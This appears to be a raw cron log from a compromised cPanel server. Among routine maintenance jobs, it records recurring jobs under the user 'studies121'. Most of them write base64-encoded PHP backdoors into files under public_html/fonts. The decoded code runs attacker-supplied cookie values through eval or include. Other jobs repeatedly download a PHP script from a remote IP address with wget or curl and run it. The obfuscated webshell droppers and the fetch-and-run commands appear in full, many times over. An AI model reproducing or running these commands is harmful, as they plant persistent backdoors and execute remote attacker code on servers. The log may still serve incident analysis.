Sep  5 01:19:01 ip-184-168-122-23 CROND[17371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:19:01 ip-184-168-122-23 CROND[17373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:20:01 ip-184-168-122-23 CROND[17542]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 01:20:01 ip-184-168-122-23 CROND[17544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:20:01 ip-184-168-122-23 CROND[17547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:20:01 ip-184-168-122-23 CROND[17546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:20:01 ip-184-168-122-23 CROND[17545]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 01:20:01 ip-184-168-122-23 CROND[17548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:20:01 ip-184-168-122-23 CROND[17550]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:20:01 ip-184-168-122-23 CROND[17549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:20:01 ip-184-168-122-23 CROND[17551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:21:01 ip-184-168-122-23 CROND[17647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:21:01 ip-184-168-122-23 CROND[17650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:21:01 ip-184-168-122-23 CROND[17649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:21:01 ip-184-168-122-23 CROND[17651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:22:01 ip-184-168-122-23 CROND[17738]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:22:01 ip-184-168-122-23 CROND[17741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:22:01 ip-184-168-122-23 CROND[17743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:22:01 ip-184-168-122-23 CROND[17740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:22:01 ip-184-168-122-23 CROND[17742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:23:01 ip-184-168-122-23 CROND[17846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:23:01 ip-184-168-122-23 CROND[17847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:23:01 ip-184-168-122-23 CROND[17848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:23:01 ip-184-168-122-23 CROND[17849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:24:01 ip-184-168-122-23 CROND[17951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:24:01 ip-184-168-122-23 CROND[17954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:24:01 ip-184-168-122-23 CROND[17952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:24:01 ip-184-168-122-23 CROND[17953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:24:01 ip-184-168-122-23 CROND[17955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:25:02 ip-184-168-122-23 CROND[18144]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:25:02 ip-184-168-122-23 CROND[18146]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:25:02 ip-184-168-122-23 CROND[18148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:25:02 ip-184-168-122-23 CROND[18147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:25:02 ip-184-168-122-23 CROND[18150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:25:02 ip-184-168-122-23 CROND[18149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:26:02 ip-184-168-122-23 CROND[18241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:26:02 ip-184-168-122-23 CROND[18243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:26:02 ip-184-168-122-23 CROND[18245]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:26:02 ip-184-168-122-23 CROND[18244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:26:02 ip-184-168-122-23 CROND[18246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:27:01 ip-184-168-122-23 CROND[18342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:27:01 ip-184-168-122-23 CROND[18344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:27:01 ip-184-168-122-23 CROND[18343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:27:01 ip-184-168-122-23 CROND[18345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:28:01 ip-184-168-122-23 CROND[18425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:28:01 ip-184-168-122-23 CROND[18427]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:28:01 ip-184-168-122-23 CROND[18426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:28:01 ip-184-168-122-23 CROND[18428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:28:01 ip-184-168-122-23 CROND[18429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:29:01 ip-184-168-122-23 CROND[18518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:29:01 ip-184-168-122-23 CROND[18520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:29:01 ip-184-168-122-23 CROND[18519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:29:01 ip-184-168-122-23 CROND[18521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:30:01 ip-184-168-122-23 CROND[18615]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 01:30:01 ip-184-168-122-23 CROND[18619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:30:01 ip-184-168-122-23 CROND[18620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:30:01 ip-184-168-122-23 CROND[18623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:30:01 ip-184-168-122-23 CROND[18618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:30:01 ip-184-168-122-23 CROND[18621]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:30:01 ip-184-168-122-23 CROND[18622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:30:01 ip-184-168-122-23 CROND[18626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:31:01 ip-184-168-122-23 CROND[18718]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 01:31:01 ip-184-168-122-23 CROND[18721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
